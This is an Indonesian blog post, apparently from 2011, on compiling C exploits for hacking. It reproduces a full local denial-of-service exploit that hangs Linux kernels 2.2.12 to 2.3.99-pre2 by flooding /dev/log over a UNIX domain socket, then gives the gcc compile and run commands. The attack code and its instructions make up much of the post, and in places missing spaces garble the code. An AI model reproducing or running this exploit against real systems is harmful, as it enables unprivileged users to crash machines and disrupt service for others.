Sabtu, 19 Februari 2011

Meng-Compile Eksploit Dalam Bahasa C


Dalam melakukan hacking sering kali kita memperolehprogram (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem.Program ini tidak jarang berbentuk source code bukan executable dalam bahasa Cyang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.

Di samping itu, cara belajar hacking yang terbaik adalahdengan mempelajari program orang lain yang telah sukses dalam melakukanhacking. Atau melihat struktur program yang ada. Di Linux, proses belajar inimenjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka& dapat kita lihat menggunakan teks editor biasa pada directory:

            /usr/src/linux

Tentunya sebelum melihat demikian banyak source code adabaiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistemoperasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk fileRequest For Comment (RFC) yang dapat di ambil secara gratis di berbagai situsInternet, seperti http://www.internic.net, http://www.linuxdoc.orgdsb.

Contoh sebuah source code eksploit untuk Linux kernel2.2-2.3.99 saya tampilkan berikut ini.

/*            [http://b0f.morphed.net] -eth0                */
/*                                                      */
/*Vulnerable
  Linux 2.2.12
  Linux 2.2.13
  Linux 2.2.14
  Linux 2.3.99-pre2

  The following exploit code will hang anyLinux machine on various
  Pentium platforms.

  Note that this does not require any specialprivileges, and any user
  Can compile and run it, so watch outkiddies...

  The send system call immediately puts thekernel in a loop spewing
  kmalloc: Size (131076) too large forever
  (or until you hit the reset button).

  Apparently UNIX domain sockets are ignoringthe
  /proc/sys/net/core/wmem_max parameter,
  despite the documentation to the contrary.

 [code provided by eth0 from b0f security]
 [information provided by Jay Fenlason]
 [http://b0f.morphed.net]
 [buffer0verfl0w security]
*/

#include<sys/types.h>
#include<sys/socket.h>
#include<string.h>

charbuf[128 * 1024];

intmain ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data,"/dev/log", sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf,bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}


Eksploit ini merupakan teknik yang membuat buffer (stack)over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang,kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakankernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.

Setelahada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkahselanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), sayabiasanya menggunakan Turbo C untuk mengcompile source code. Saat ini denganmenggunakan Linux, jika di install fasilitas development-nya, maka GNU CCompiler (gcc) biasanya merupakan bagian integral dari fasilitas developmentpada Linux.

PadaLinux, proses compiling dapat dilakukan secara sederhana saja, denganmenuliskan perintah:

            $ gcc eksploit.c –o eksploit

makafile eksploit.c akan di compile menjadi executable yang dalam hal ini di  beri nama eksploit (oleh perintah –oeksploit) yang kemudian dapat dijalankan dengan perintah:

            $ ./eksploit

Jikaanda mulai melakukan pemrogramman yang kompleks dengan banyak source file C,maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuatobjek code & compile dari masing-masing source code.

Tidak ada komentar:

Posting Komentar